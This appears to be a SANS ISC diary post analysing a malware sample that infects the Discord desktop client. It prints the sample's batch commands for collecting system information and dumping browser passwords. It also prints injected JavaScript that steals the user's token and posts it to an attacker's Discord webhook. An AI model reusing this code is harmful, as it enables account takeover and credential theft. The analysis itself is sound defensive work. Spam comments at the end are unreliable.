Compromized Desktop Applications by Web Technologies
For a long time now, it has been said that "the new operating system is the browser". Today, we do everything in our browsers, we connect to the office, we process emails, documents, we chat, we perform our system maintenances, ... But many popular web applications provide also a desktop client: Twitter, Facebook, Slack are good examples. Such applications just replace the classic browser and use the API's to interact with the official website. Most applications are developed in a compiled language and are deployed as regular executable files. Others rely on web technologies or have a modular architecture that helps to add features via a system of plugins or modules.
Discord[1] is such a popular app. Let's have a look at the installation on standard Windows computer:
You can see that the application makes use of classic web technologies. There is a bunch of JavaScript files installed in %APPDATA%\Discord\. Some malware samples have already been reported to infect Discord application but I never found one. Yesterday, my hunting rules caught a sample!
The malware uses the Discord API to exfiltrate data about the victim:
curl -X POST \ -H "Content-type: application/json" \ --data "{\"content\": \"**Inject Activated : BaBy#9360**\"}" \ https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr
Some information about the victim's computer is collected:
curl "https://myexternalip.com/raw">>C:\temp\ip_address.txt for /f "delims=" %%q in (C:\temp\ip_address.txt) do set IP=%%q for /f "delims=" %%x in (C:\temp\WindowsInfo.txt) do set WindowsInfo=%%x start C:/temp/WebBrowserPassView.exe /stext C:/temp/Passwords.txt systeminfo | findstr /c:"Host Name">>C:\temp\System_INFO.txt systeminfo | findstr /c:"Domain">>C:\temp\System_INFO.txt systeminfo | findstr /c:"OS Name">>C:\temp\System_INFO.txt systeminfo | findstr /c:"OS Version">>C:\temp\System_INFO.txt systeminfo | findstr /c:"System Manufacturer">>C:\temp\System_INFO.txt systeminfo | findstr /c:"System Model">>C:\temp\System_INFO.txt systeminfo | findstr /c:"System type">>C:\temp\System_INFO.txt systeminfo | findstr /c:"Total Physical Memory">>C:\temp\System_INFO.txt echo Hard Drive Space:>>C:\temp\System_INFO.txt wmic diskdrive get size>>C:\temp\System_INFO.txt echo. echo. echo Service Tag:>>C:\temp\System_INFO.txt wmic bios get serialnumber>>C:\temp\System_INFO.txt echo. echo. echo CPU:>>C:\temp\System_INFO.txt wmic cpu get name>>C:\temp\System_INFO.txt
The most important part is the next one. The Discord client is modified by injecting a malicious piece of JavaScript code:
set str=var X = window.localStorage = document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage;var V = JSON.stringify(X);var L = V;var C = JSON.parse(L);var strtoken = C["token"];var O = new XMLHttpRequest();O.open('POST', 'https://discordapp.com/api/webhooks/734661140985937930/k121Yri3K0estmzWefx3vuOs2jYSE96T102KioF1-nlGYgSpF9ihNHIuwjBW-ibGccEr', false);O.setRequestHeader('Content-Type', 'application/json');O.send('{"content": ' + strtoken + '}') ... set "discord=%appdata%\discord\0.0.306\modules\discord_voice\index.js" set "discordcanary=%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js" set "discordptb=%appdata%\discordptb\0.0.52\modules\discord_voice\index.js" if not exist %discord% goto CANARY echo %str% >> "%appdata%\discord\0.0.306\modules\discord_voice\index.js" GOTO CANARY :CANARY if not exist %discordcanary% goto PTB echo %str% >> "%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js" GOTO PTB :PTB if not exist %discordptb% goto SEND2 echo %str% >> "%appdata%\discordptb\0.0.52\modules\discord_voice\index.js" GOTO SEND2 :SEND2
The variable %str% contains a JavaScript code that exfiltrates the current user's token. All data are posted on a Discord channel controlled by the attacker. This technique allows him to use the victim's Discord account.
This is interesting to see how Discord is the target but also the C2 communication channel...
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
www
Nov 17th 2022
6 months ago
EEW
Nov 17th 2022
6 months ago
qwq
Nov 17th 2022
6 months ago
mashood
Nov 17th 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
isc.sans.edu
Dec 3rd 2022
5 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
5 months ago
isc.sans.edu
Dec 26th 2022
5 months ago